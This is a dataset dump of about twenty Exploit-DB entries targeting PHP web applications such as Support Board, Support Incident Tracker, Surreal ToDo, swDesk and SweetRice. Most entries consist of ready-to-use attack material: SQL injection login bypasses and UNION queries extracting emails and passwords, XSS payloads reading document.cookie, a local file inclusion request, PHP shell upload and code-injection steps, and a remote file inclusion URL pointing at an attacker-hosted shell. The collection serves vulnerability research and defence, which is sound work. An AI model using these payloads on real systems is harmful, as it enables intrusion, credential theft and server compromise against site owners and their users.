deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49239
Description: Supply Chain Management System - Auth Bypass SQL Injection
Type: webapps
Platform: php
Date: 2020-12-11
Author: Piyush Malviya

Exploit:
# Exploit Title: Supply Chain Management System - Auth Bypass SQL Injection
# Date: 2020-12-11
# Exploit Author: Piyush Malviya
# Vendor Homepage: https://www.sourcecodester.com/php/14619/supply-chain-management-system-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14619&title=Supply+Chain+Management+System+in+PHP%2FMySQLi+with+Full+Source+Code
# Tested On: Windows 10 Pro Build 18363.1256 + XAMPP V3.2.4

#Vulnerable Page: Login Page

#Exploit
Open the Application
check the URL: http://localhost/scm-master/


Open Login Page
Enter username: ' or 0=0 #
Enter password: '
Select Login Type: Admin

click on login
The SQL payload gets executed and authentication is bypassed successfully
Exploit-DB #50294
Description: Support Board 3.3.3 - 'Multiple' SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-09-15
Author: John Jefferson Li

Exploit:
# Exploit Title: Support Board 3.3.3 - 'Multiple' SQL Injection (Unauthenticated)
# Date: 29.08.2021
# Exploit Author: John Jefferson Li <yiyohwi@naver.com>
# Vendor Homepage: https://board.support/
# Software Link: https://codecanyon.net/item/support-board-help-desk-and-chat/20359943
# Version: 3.3.3
# Tested on: Ubuntu 20.04.2 LTS

----- PoC 1: Error Based SQLi (status_code) -----

Request 

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: status_code (POST)

function=new-conversation&status_code=2"+AND+EXTRACTVALUE(4597,CONCAT("","DB+Name:+",(SELECT+(ELT(4597=4597,""))),database()))+AND+"fKoo"="fKoo&title=&department=&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 2: Error Based SQLi (department)-----

Request 

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: department (POST)

function=new-conversation&status_code=2o&title=&department=(UPDATEXML(5632,CONCAT(0x2e,"Database+Name:+",(SELECT+(ELT(5632=5632,""))),database()),3004))&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 3: Error Based SQLi (user_id) -----

Request 

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: user_id (POST)

function=send-message&user_id=-5"+AND+GTID_SUBSET(CONCAT("Database+Name:+",(SELECT+(ELT(3919=3919,""))),database()),3919)+AND+"wrOJ"="wrOJ&conversation_id=35&message=TEST+POC&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 4: Time Based SQLi (conversation_id)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_id (POST)

function=send-message&user_id=5&conversation_id=45"+AND+(SELECT 1479+FROM+(SELECT(SLEEP(5)))xttx)--+BOXv&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 5: Time Based SQLi (conversation_status_code)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_status_code (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false+WHERE+9793=9793+AND+(SELECT+4500+FROM+(SELECT(SLEEP(5)))oJCl)--+uAGp&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 6: Time Based SQLi (recipient_id)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: recipient_id (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false+AND+(SELECT+7416+FROM+(SELECT(SLEEP(5)))eBhm)&login-cookie=&language=false
Exploit-DB #50419
Description: Support Board 3.3.4 - 'Message' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-18
Author: John Jefferson Li

Exploit:
# Exploit Title: Support Board 3.3.4 - 'Message' Stored Cross-Site Scripting (XSS)
# Date: 16/10/2021
# Exploit Author: John Jefferson Li <yiyohwi@naver.com>
# Vendor Homepage: https://board.support/
# Software Link: https://codecanyon.net/item/support-board-help-desk-and-chat/20359943
# Version: 3.3.4
# Tested on: Ubuntu 20.04.2 LTS, Windows 10

POST /supportboard/include/ajax.php HTTP/1.1
Cookie: [Agent+]
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 808
X-Requested-With: XMLHttpRequest
Connection: close

function=add-note&conversation_id=476&user_id=2&name=Robert+Smith&message=%3CScRiPt%3Ealert(/XSS/)%3C%2FsCriPt%3E&login-cookie=<cookie>&language=false
Exploit-DB #35406
Description: Support Incident Tracker (SiT!) 3.62 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-03
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46671/info

Support Incident Tracker (SiT!) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Support Incident Tracker (SiT!) 3.62 is vulnerable; other versions may also be affected. 

http://www.example.com/sit-3.62/feedback.php?ax=--%3E%3Cscript%3Ealert(0)%3C%2fscript%3E 
http://www.example.com/sit-3.62/lib/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert(0)%3C%2fscript%3E 
http://www.example.com/sit-3.62/lib/magpierss/scripts/magpie_simple.php?url=%22%3E%3Cscript%3Ealert(0)%3C%2fscript%3E 
http://www.example.com/sit-3.62/lib/magpierss/scripts/magpie_slashbox.php?rss_url=%22%3E%3Cscript%3Ealert(0)%3C%2fscript%3E
Exploit-DB #35986
Description: Support Incident Tracker (SiT!) 3.63 p1 - 'billable_incidents.php?sites[]' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-26
Author: Yuri Goltsev

Exploit:
source: https://www.securityfocus.com/bid/48896/info
 
Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/billable_incidents.php?sites[]=-1 union select 1,concat_ws(':',user(),database())
Exploit-DB #35985
Description: Support Incident Tracker (SiT!) 3.63 p1 - 'report_marketing.php?exc[]' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-26
Author: Yuri Goltsev

Exploit:
source: https://www.securityfocus.com/bid/48896/info

Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/report_marketing.php?mode=report&exc[0]=1'
Exploit-DB #35987
Description: Support Incident Tracker (SiT!) 3.63 p1 - 'search.php?search_string' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-26
Author: Yuri Goltsev

Exploit:
source: https://www.securityfocus.com/bid/48896/info
  
Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/search.php?search_string=1' union select 1,version()
Exploit-DB #35988
Description: Support Incident Tracker (SiT!) 3.63 p1 - 'tasks.php?selected[]' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-26
Author: Yuri Goltsev

Exploit:
source: https://www.securityfocus.com/bid/48896/info
   
Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
   
Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/tasks.php?selected[]=1'&action=markcomplete
Exploit-DB #21054
Description: Support4Arabs Pages 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-09-04
Author: L0n3ly-H34rT

Exploit:
############################################
### Exploit Title: Support4Arabs Pages v2.0 Remote SQL Error Based Injection Vulnerability
### Date: 04/9/2012 
### Author: L0n3ly-H34rT 
### Contact: l0n3ly_h34rt@hotmail.com 
### My Site: http://se3c.blogspot.com/ 
### Vendor Link: http://www.support4arabs.com/
### Software Link: http://www.traidnt.net/vb/attachments/485227d[PII_REDACTED]-traidnt.zip
### Version: 2.0
### Tested on: Linux/Windows 
############################################

# Files affected :

1- pages.php :

$id = strip_tags($_GET['id']); 

2- categories.php :

$id = strip_tags($_GET['id']); 

3- news.php :

$id = strip_tags($_GET['id']); 

# Examples :

http://127.0.0.1/pages/pages.php?do=pages&id=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+%271%27%3D%271

http://127.0.0.1/pages/categories.php?id=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+%271%27%3D%271

http://127.0.0.1/pages/news.php?do=news&id=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+%271%27%3D%271

# The results is :

Duplicate entry '~'pagesv10'~1' for key 'group_key'

# This for example and the name of database is: pagesv10 ...

############################################

# Note :

Must be magic_quotes_gpc = Off

# Greetz to my friendz
Exploit-DB #33153
Description: SupportPRO SupportDesk 3.0 - 'shownews.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36001/info

SupportPRO SupportDesk is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SupportDesk 3.0 is vulnerable; other versions may also be affected.

http://www.example.com/demo/shownews.php/"><script>alert(document.cookie);</script>
Exploit-DB #8282
Description: SurfMyTV Script 1.0 - 'view.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-24
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:
Name           : Media Entertainment Script 1.0
Download       : http://www.hotscripts.com/listings/jump/download/89424/
Vulnerability  : Sql Injection To Lfi
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud To Be Italian
Greetz         : //
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/view.php
[code]
$id  = $_GET['id'];
$v = mysql_fetch_array(mysql_query("SELECT id,views,title FROM videos WHERE id='$id'"));
[/code]
#########################################################################################
[0x03] Exploit:
1- http://victim.it/path/view.php?id=-1' union select 0,0,0,load_file('lf'),0,0,0--
########################################################################################

# milw0rm.com [2009-03-24]
Exploit-DB #34797
Description: Surgemail SurgeWeb 4.3e - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-04
Author: Kerem Kocaer

Exploit:
source: https://www.securityfocus.com/bid/43679/info

SurgeMail is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

The issue affects version 4.3e; other versions may also be affected.

http://www.example.com/surgeweb?username_ex="/><scri<script>alert(document.cookie);</script><input type="hidden
Exploit-DB #45826
Description: Surreal ToDo 0.6.1.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Surreal ToDo 0.6.1.2 - Local File Inclusion
# Dork: N/A
# Date: 2018-11-08
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://getsurreal.com/surrealtodo
# Software Link: https://netcologne.dl.sourceforge.net/project/surrealtodo/Surreal%20ToDo/surrealtodo_v0.6.1.2.zip
# Version: 0.6.1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?content=[FILE]
# 
GET /[PATH]/index.php?content=../../../../Windows/win.ini HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 07 Nov 2018 23:58:36 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 1885
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #45825
Description: Surreal ToDo 0.6.1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Surreal ToDo 0.6.1.2 - SQL Injection
# Dork: N/A
# Date: 2018-11-08
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://getsurreal.com/surrealtodo
# Software Link: https://netcologne.dl.sourceforge.net/project/surrealtodo/Surreal%20ToDo/surrealtodo_v0.6.1.2.zip
# Version: 0.6.1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax.php?action=lists&page_id=[SQL]
# 
GET /[PATH]/ajax.php?action=lists&page_id=1%20AND%201=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 07 Nov 2018 23:41:43 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 1783
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/search=[SQL]
# 
GET /[PATH]/?search=%27%20AND%201=1%20AND%20%27Efe%27%20LIKE%20%27Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 07 Nov 2018 23:44:26 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 5284
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #26661
Description: Survey System 1.1 - 'survey.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15641/info

Survey System is prone to multiple SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.1 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/survey.php?SURVEY_ID=[SQL]
Exploit-DB #41837
Description: Survey Template 1.1 - 'masterkey1' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-07
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Survey Template v1.1 for ASPRunnerPro,PHPRunner. - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: https://xlinesoft.com/
# Software: https://xlinesoft.com/marketplace/products_view.php?editid1=3
# Demo: https://xlinesoft.com/livedemo/survey/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/svv_questions_list.php?mastertable=svv_surveys&masterkey1=[SQL]
# # # # #
Exploit-DB #18443
Description: swDesk - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-02-01
Author: Red Security TEAM

Exploit:
# 
# Title     : swDesk Multi Vulnerability
# Author    : Red Security TEAM
# Date      : 01/02/2012
# Risk      : High
# Vendor    : http://www.swdesk.com/
# Tested On : Apache
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
#
# I. Arbitrary File Upload Vulnerability
# 1. Go to http://server/create_ticket.php
# 2. Fil all Input Fields And Click on Submit Ticket
# 3. Click on the View Ticket and you should go to the link Like : http://server/view_ticket.php?email=[Your Email]&id=1
# 4. You see Send Message box , Write any thing there and attach your PHP file in the Upload attachment and Click on Send Message
# 5. You can see your attachment above Like : Attachment: shell.php , Click on it and you see your PHP code has been runed ;)
#
# II. PHP Code Injection Vulnerability
# 1. Go to http://server/signin.php : Vulnerability Input Fields : email , password
# 2. Write your php in Input Fields Like : phpi${@print(RedSecurityTEAM)}
#
# III. XSS Vulnerability
# 1. http://server/view_ticket.php?email=example@example.com&id=" onmouseover=alert(1) bad="
# 2. http://server/kb_search.php?keywords=" onmouseover=alert(1) bad="&mode=Search
#
# Thanks To : http://1337day.com/ , http://www.exploit-db.com/ , http://securityreason.com/ , http://packetstormsecurity.org/
#
Exploit-DB #41819
Description: Sweepstakes Pro Software - SQL Injection
Type: webapps
Platform: php
Date: 2017-04-05
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Sweepstakes Pro Software - SQL Injection
# Google Dork: N/A
# Date: 05.04.2017
# Vendor Homepage: http://bimedia.info/
# Software: http://bimedia.info/sweepstakes-pro-software/
# Demo: http://mysweepstakespro.com/demo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/win.php?s=[SQL]
# http://localhost/[PATH]/widget_lb.php?s=[SQL]
# ss_members :id
# ss_members :name
# ss_members :email
# ss_members :country
# ss_members :their_username
# ss_members :their_password
# # # # #
Exploit-DB #32490
Description: SweetCMS 1.5.2 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-14
Author: Dapirates

Exploit:
source: https://www.securityfocus.com/bid/31774/info

SweetCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SweetCMS 1.5.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=3+AND+1=2+UNION+SELECT+0,concat(email,0x3a,password),2,3,4,5+from+users+limit+1,1--
Exploit-DB #10246
Description: SweetRice 0.5.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-11-29
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#SweetRice <= 0.5.0 Remote File Include Vulnerability
#Download Script      :  http://php.opensourcecms.com/scripts/redirect/download.php?id=353
#Dork                 :  die("lamers attempt");  :P
########################################################################
#
#Vuln : ./sweetrice/_plugin/subscriber/inc/post.php (line 2)
#       <?php
#         include_once($root_dir."_plugin/fckeditor/fckeditor.php") ;
#       ?>
#PoC  :  http://server/_plugin/subscriber/inc/post.php?root_dir=http://[attacker]/shell.txt???
#
#
#
########################################################################
########################################################################
####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################
########################################################################
########################################################################




   [ Gorontalo / 2009